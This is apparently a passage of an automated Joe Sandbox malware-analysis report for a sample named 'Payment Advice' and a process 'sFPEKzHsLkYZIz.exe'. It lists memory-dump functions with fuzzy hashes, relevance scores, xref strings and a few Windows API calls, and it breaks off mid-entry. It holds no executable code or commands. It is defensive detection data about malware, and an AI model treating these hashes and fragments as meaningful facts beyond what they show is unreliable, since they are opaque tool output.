Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5685df7e82090dfcaaba1111872e06de6ff634b9a76158a7dd94f0ee562b77
Instruction ID: 4acf707603dc8d1416a9afcd58c63361b2acfc4b824b6eec6334a4994c620c48
Opcode Fuzzy Hash: 5c5685df7e82090dfcaaba1111872e06de6ff634b9a76158a7dd94f0ee562b77
Instruction Fuzzy Hash: 05112B30B603209FEFA46A7CC85076F258EDB87754F20083AE34AEB395C96ACC4143D1

Uniqueness

Uniqueness Score: -1.00%

Function 06010B1E Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4168254396.0000000006010000.00000040.00000800.00020000.00000000.sdmp, Offset: 06010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6010000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4699a90ef8ca1f24a0700a45fe21e91d6780f20d552a1ae0e434dcb5aa58a23c
Instruction ID: 4aac89924263ba74376cdf32fe16d3d2b52d92b6b568e3b7ea1a022945ed7a07
Opcode Fuzzy Hash: 4699a90ef8ca1f24a0700a45fe21e91d6780f20d552a1ae0e434dcb5aa58a23c
Instruction Fuzzy Hash: AE31EEB0C40218DFDB60CF99C988B8EBFF5AB48314F24801AE445BB250CBB59885CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 068EF990 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b7b2de390a53f39a663d828032fdcd996c8b439410c724eee5f94218327fdb
Instruction ID: 5375aec0b82e44488c88c550d1ed2c38a1f15de837d73b45fb6fe5aef86e78fa
Opcode Fuzzy Hash: 47b7b2de390a53f39a663d828032fdcd996c8b439410c724eee5f94218327fdb
Instruction Fuzzy Hash: 3201A720B602245BEF64396DDD5572F208EC7C7754F20483AE70AEB3A5C96ACC8103E2

Uniqueness

Uniqueness Score: -1.00%

Function 068E4217 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc623811f20ecc9ffb65a272b5cf019ccb42b14cfe3addfe295873c96436868d
Instruction ID: a651ee4a5ee43f88cf1586dd36b6574df610f332685bc799087dd716a064012e
Opcode Fuzzy Hash: fc623811f20ecc9ffb65a272b5cf019ccb42b14cfe3addfe295873c96436868d
Instruction Fuzzy Hash: 3011F531F141111FCB6196BDA81471EBBEACBCF610F24887EE50ECB391D965CC028395

Uniqueness

Uniqueness Score: -1.00%

Function 068E3470 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 507a38ceec2a69172e2ce52df85323699c7153d4d7a4401590388d436bf5de00
Instruction ID: 67c1c58c8873618b2e593ab14ba46cec976ae98a60e85a0da1376d4f87de6a91
Opcode Fuzzy Hash: 507a38ceec2a69172e2ce52df85323699c7153d4d7a4401590388d436bf5de00
Instruction Fuzzy Hash: 0811E331E002285BCB699B79C8405DEFBB5AB8A304F1045ABD546FB301DA32DD81CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 068E5433 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 186b41c8d78885d4ced495c912afe87993d97a908988ffd511404171413bda1f
Instruction ID: 310153d98ffb2e37a9581360e294667b5a45c1b64300a57d519aae8955cfcfaf
Opcode Fuzzy Hash: 186b41c8d78885d4ced495c912afe87993d97a908988ffd511404171413bda1f
Instruction Fuzzy Hash: 0111BF71A007099FCB70CFA9CD809AFFBB2FB89304F10892AE255D7650D731A915CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 068E3FE0 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a5cf4a933facef2da5145746f3ff64b519d5fc32ca73ff38f90c7b582285f59
Instruction ID: 52bafa27b123bec9bbb8b5da33ba93338f03445b59713fb846acc2369f9cd800
Opcode Fuzzy Hash: 1a5cf4a933facef2da5145746f3ff64b519d5fc32ca73ff38f90c7b582285f59
Instruction Fuzzy Hash: 2F11A136B141285FDB94DA78D814AAF73EAEBC9314B00893AD50EE7344EF75DC028B91

Uniqueness

Uniqueness Score: -1.00%

Function 068E3FD1 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e004b19b24d836d2efa3b944ce19ab52a50469b1d2b1c69c4044c2ebf1c0b9dc
Instruction ID: 28fab42016a7ef4b2b520e23982a8b96b5c5c7eff545a7aa5478fa56e1e3ed28
Opcode Fuzzy Hash: e004b19b24d836d2efa3b944ce19ab52a50469b1d2b1c69c4044c2ebf1c0b9dc
Instruction Fuzzy Hash: 7001B532B141251BDFA59A788C107EF77FA9BCA210F04453AD54ED7384EE65DC0287D2

Uniqueness

Uniqueness Score: -1.00%

Function 068EA31B Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a4069898f1279bf5a75d544f5837d4c35ca819460141ff18564269db4cf9fa
Instruction ID: c2ad3976342cca5a6f39e83365076fa04c0d0af56352d6143971ba63e5f3fef0
Opcode Fuzzy Hash: b1a4069898f1279bf5a75d544f5837d4c35ca819460141ff18564269db4cf9fa
Instruction Fuzzy Hash: 8B114534B112000FCB65DA7C9861B2EBBD9DB8BA10F548569F64ACB395DA21EC02C391

Uniqueness

Uniqueness Score: -1.00%

Function 068E3C98 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4efe980ee808b672640133f25c5629a8fdca1b92fb3df03dba89dde1e24c201
Instruction ID: 123a05a4358de3ab1febae93acf12d162957b31e3825b04073c5f4305bf0f675
Opcode Fuzzy Hash: d4efe980ee808b672640133f25c5629a8fdca1b92fb3df03dba89dde1e24c201
Instruction Fuzzy Hash: 5A21C0B5D01259EFCB10DF9AD884ADEFFB4FB49320F10812AE958A7200C375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4118366495.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_efd000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 98024f037d9387059ee0c53ab392b0fbd72f8c3ec23acc293af5e8e262c5f14b
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 6911D075508248CFCB11CF10C9C4B26BF62FB44318F24C6A9D9494B252C73AD84ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4118366495.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_efd000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 5042953e06d6a9e8f94c236f31af831cb7e06ccdddde4b7ce4ec6fb8700a30c8
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 1E11B675508244CFDB12CF14D9C4B65FF62FB84318F24C5A9DD495B656C33AD406CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4118366495.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_efd000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 10612e959504affd39692431d9967339ac47b9a76d62fb27a896ba7e09a3776a
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 2C11D075508244CFCB01CF10D9C4B25FF72FB44318F24C6AAD9494B256C33AE80ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 068E3CA0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae30047b7882e880c9329ff8cd68a2f31912c0b0da68e144600c920348d92e7
Instruction ID: 5e74b4403af6615279fb2be2dd45cdbd7fe2ffe976dcbb4339db9bd6f2e66a92
Opcode Fuzzy Hash: 0ae30047b7882e880c9329ff8cd68a2f31912c0b0da68e144600c920348d92e7
Instruction Fuzzy Hash: 4111B0B5D01259AFCB00DF9AD884ADEFFB4FB49320F50812AE918B7240D375A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 068EF1C3 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cbcd6b2509e2bbf621f9630c28c43cb563b3d3432ea4f36b2a813b9ee1c860
Instruction ID: 33b9b04d83cd3d71702a1dbf3bacbcddda2198fe0ec0b1e19c039679aae621e9
Opcode Fuzzy Hash: 81cbcd6b2509e2bbf621f9630c28c43cb563b3d3432ea4f36b2a813b9ee1c860
Instruction Fuzzy Hash: 54012135B141100FCB66C6BCD86072E67EAEBCF314F24842AE20ACB391DE25DC028396

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD127 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4118366495.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_efd000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e676ac0fa395c9d78ad1373b251d500d35a058fc48d93c8ca3093ca1b2890539
Instruction ID: 3c584f5b2c13adc46cb5994178d395fe702307cf8cd5d1f9e55f93290125a8bd
Opcode Fuzzy Hash: e676ac0fa395c9d78ad1373b251d500d35a058fc48d93c8ca3093ca1b2890539
Instruction Fuzzy Hash: 9D11EF75508284CFCB02CF14C9C4B26BFB2FB84318F24C6ADD9494B662C33AD84ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 068E4228 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0259ee27252b6a4097a53fa043e71b4f20b92ba9faf541c32462cf88ad9b006a
Instruction ID: 3363d3948ace0d02eeb3cadfec8505629abce3b954d2234448d9a918a1ae5e7f
Opcode Fuzzy Hash: 0259ee27252b6a4097a53fa043e71b4f20b92ba9faf541c32462cf88ad9b006a
Instruction Fuzzy Hash: D2018131B100111BDB6495BD941571FA6DBDBDE714F20843DE60ECB384EDA5DC024395

Uniqueness

Uniqueness Score: -1.00%

Function 068EF1D0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 537f32880b65568acad11cbb4d78733b08929f489315e55346637c00a5870779
Instruction ID: 5f6739279c014d6631138c73a14b4eecb47aa6f9011b39b1ef5e90d443fb348e
Opcode Fuzzy Hash: 537f32880b65568acad11cbb4d78733b08929f489315e55346637c00a5870779
Instruction Fuzzy Hash: 4301AF35B101141BCB6596BDE894B2E67DAEBCE724F208439F60ACB344DE65DC024385

Uniqueness

Uniqueness Score: -1.00%

Function 068EA328 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44ef3a862c0d6c020ccfaa27cc75d798bddae9f6c4b0ac0e7872656a39d67cb4
Instruction ID: d1d862e0ddf2e7a95b8b6fda31cd1fe7ef7fa5cdd4ad6827abe8d18e748ae5f5
Opcode Fuzzy Hash: 44ef3a862c0d6c020ccfaa27cc75d798bddae9f6c4b0ac0e7872656a39d67cb4
Instruction Fuzzy Hash: 3001A435B101101FCB64EA7CD851B1EB7D9DB8AB14F508439F60ECB354DE21EC028781

Uniqueness

Uniqueness Score: -1.00%

Function 068EC7F0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 488ccd3994ebd8f86d78601c8a1cc4c673ba5444cc482db4763cebd6be244f7b
Instruction ID: c556a08035db7016ded31631b7d63057485027729059b5d046cd2be9d7fb8692
Opcode Fuzzy Hash: 488ccd3994ebd8f86d78601c8a1cc4c673ba5444cc482db4763cebd6be244f7b
Instruction Fuzzy Hash: F5F0C032E212B457CF51A939D800A9FBB35EB82314F10043FE951FB242DA319C04C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 068E6489 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93bc5d6b0e2628528bffc9495b58e2d6b774234475bf1fae142d8ecdfe382c18
Instruction ID: 8e918d04b6b36208e9d3b204b08764b7b236a3e867e430bbafcad462dcb196c3
Opcode Fuzzy Hash: 93bc5d6b0e2628528bffc9495b58e2d6b774234475bf1fae142d8ecdfe382c18
Instruction Fuzzy Hash: 46E04F71E14108ABDFA0DFA4C6857AE73E8EF52208F208DA6C519D7201F23AEA518780

Uniqueness

Uniqueness Score: -1.00%

Function 068E6498 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1fbe91d45b4951909707f0a863feff4f7aff157cf502dab239eb20b0e46dfe4
Instruction ID: f331f82226b59e10934e074faa2f55874afd3019641016dbde521be4aca79fc9
Opcode Fuzzy Hash: e1fbe91d45b4951909707f0a863feff4f7aff157cf502dab239eb20b0e46dfe4
Instruction Fuzzy Hash: 5EE0C270E1410CABDF60DEB4C90576E73ACDB13218F2084A6D508C7201F276CE4183C0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 068E76B0 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 068E7C3B
$^q, xrefs: 068E7B86
$^q, xrefs: 068E77FA
$^q, xrefs: 068E7C31
$^q, xrefs: 068E7C47
$^q, xrefs: 068E7806
$^q, xrefs: 068E77D5
$^q, xrefs: 068E7B92
$^q, xrefs: 068E77C9
$^q, xrefs: 068E7C25

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: c44c74220f79434c88f51296106db74f7323f4781a8773896b2ff1c557fe8173
Instruction ID: 187c7892a23e9acd8ce7b68f649810fcbc12090213f214f7c3c9afb5b0e85ccc
Opcode Fuzzy Hash: c44c74220f79434c88f51296106db74f7323f4781a8773896b2ff1c557fe8173
Instruction Fuzzy Hash: 0E121A30F002198FDB68DF69C854AADB7B6BF89304F2085A9D509EB359DB31DD85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068EA950 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 068EAA52
$^q, xrefs: 068EAACC
$^q, xrefs: 068EAB02
$^q, xrefs: 068EAA46
$^q, xrefs: 068EAAD8
$^q, xrefs: 068EAAAD
$^q, xrefs: 068EAAA1
$^q, xrefs: 068EAB0E

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: f47eb711b896529e95fd09bb63033aa8e0da9df469ab3eee3e7aef93c8033d2a
Instruction ID: ff8027e658eb57777abe9bc065862a8d8e83e662bae6088da1b78b52f451be02
Opcode Fuzzy Hash: f47eb711b896529e95fd09bb63033aa8e0da9df469ab3eee3e7aef93c8033d2a
Instruction Fuzzy Hash: 44916B30E402099FDB68EF64D955BAEBBF2BF85B04F108529E401EB394DB759C45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 068E70B0 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 068E7392
$^q, xrefs: 068E75C4
$^q, xrefs: 068E754C
$^q, xrefs: 068E75B8
.5vq, xrefs: 068E710B
$^q, xrefs: 068E73F8
$^q, xrefs: 068E73EC

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: f8f0d57df912768498f17e84ac97bbdb7f7c6b47edae0ce00ec2237d12a6b0e6
Instruction ID: a500dd5d63d3c37fdc5dd80dc5af21ba147b5f7c3df0ec67199ac62deeb5d394
Opcode Fuzzy Hash: f8f0d57df912768498f17e84ac97bbdb7f7c6b47edae0ce00ec2237d12a6b0e6
Instruction Fuzzy Hash: 6CF14E34B00208CFDB58EFA8D594A6EB7B2BF85304F648569D445DB3A9DB35DC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 068E83E8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 068E864E
$^q, xrefs: 068E86A7
$^q, xrefs: 068E8642
$^q, xrefs: 068E86B3

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 5a35b0682316703c40462b5c0cd8eb4990174af779cc3ee27e6e7cded39db0b6
Instruction ID: 25eea596b9262d6967d263d4df8b0391ca5c796e5782f4832ce9a45074acb71c
Opcode Fuzzy Hash: 5a35b0682316703c40462b5c0cd8eb4990174af779cc3ee27e6e7cded39db0b6
Instruction Fuzzy Hash: 5AB13E70A102088FDB54EF78D98469EB7B2FF85304F248829D509EB365DB75DC86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 068EACDB Relevance: 5.2, Strings: 4, Instructions: 177COMMON

Download Yara Rule

Strings

$^q, xrefs: 068EAEB4
$^q, xrefs: 068EAE09
$^q, xrefs: 068EAE8B
$^q, xrefs: 068EAE5C

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 7610e6c7ee7a01dff5eacdc28b3bf6f09a9fddafe7ab82821b61ca274cc5a66c
Instruction ID: d863de10c8c0b71bf8520063a9afbbe0462bf6e2670c3b3834f4600d1dc9cc2f
Opcode Fuzzy Hash: 7610e6c7ee7a01dff5eacdc28b3bf6f09a9fddafe7ab82821b61ca274cc5a66c
Instruction Fuzzy Hash: F151BE34B102059FCFA9EB64D8806ADB7F2EF8A711F14852AE902DB355DB34DC45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 068E8800 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 068E888B
LR^q, xrefs: 068E88F3
$^q, xrefs: 068E887F
LR^q, xrefs: 068E8942

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: f306c59a60eb4c96b9c0567c4249e4321a4cf30b0f65b8410b3d6d9dc9a97313
Instruction ID: 955873b92aa4ef0ad23f1e8ea8f613ab911d0ba6abd3c28645ceb791561243c8
Opcode Fuzzy Hash: f306c59a60eb4c96b9c0567c4249e4321a4cf30b0f65b8410b3d6d9dc9a97313
Instruction Fuzzy Hash: 5C51D070B002058FDB58EF78C941A6EB7E6BF89304F148569E506DB3A5DB31EC45CB81

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sFPEKzHsLkYZIz.exePID: 7524, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	10
Total number of Limit Nodes:	1

Executed Functions

Function 030BCEA8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,030BDDC1,00000800,00000000,00000000), ref: 030BDFB2

Memory Dump Source

Source File: 00000009.00000002.1756057889.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_30b0000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 482a12b43867bc78d1f4f3655cbf64979ef41e77365345c07dbbfede2f49e576
Instruction ID: c4da6ee36609088ef051b2d0cae343bcffbaf8be284db660edf7e1aa4ea53468
Opcode Fuzzy Hash: 482a12b43867bc78d1f4f3655cbf64979ef41e77365345c07dbbfede2f49e576
Instruction Fuzzy Hash: 151123B6D043499FDB10CF9AC544ADEFBF4EB88314F14842AE919A7350C375A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 030BDCE0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 030BDD46

Memory Dump Source

Source File: 00000009.00000002.1756057889.00000000030B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_30b0000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 9311f0fcd6c67dcf991092e118a776d0ef786a89d7bf559ec96804fc1dca39e9
Instruction ID: da0dd1a848c9f85e22820a828daaafe96a0745051c26574a6c0e2f7392f328a0
Opcode Fuzzy Hash: 9311f0fcd6c67dcf991092e118a776d0ef786a89d7bf559ec96804fc1dca39e9
Instruction Fuzzy Hash: B6111DB6D00249CFCB10CF9AD444ADEFBF4AF88364F14842AD869B7210C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0170D06C Relevance: .1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1755448547.000000000170D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0170D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_170d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddd17d54b09c5a0a2ba0067931c67655ac3abce72db6d06ee6251455192df089
Instruction ID: 91365f5aaeceb431e8fbfb47ee65d880eba04eef361fddd9afb09b663f50f00a
Opcode Fuzzy Hash: ddd17d54b09c5a0a2ba0067931c67655ac3abce72db6d06ee6251455192df089
Instruction Fuzzy Hash: DB21F771504340DFDB26DF94D9C4B26FFA5FB88314F24C1A9E9094A296C73AD416CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0171D2F0 Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1755547807.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_171d000_sFPEKzHsLkYZIz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fdc898d3976e617dfcece6403574b13bd6c61c8116673e4102ea475e6eda8ed
Instruction ID: 46571375634fa7573414ce8338ccc7ba9ce787011a4b47371919c4231d75336e
Opcode Fuzzy Hash: 7fdc898d3976e617dfcece6403574b13bd6c61c8116673e4102ea475e6eda8ed
Instruction Fuzzy Hash: 6B2104B1604204DFDB25DF9CD9C8B26FBA5FB84314F20C6ADD8494B25AC33AD446CE61

Uniqueness

Uniqueness Score: -1.00%

Function 0171D01C Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.1755547807.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

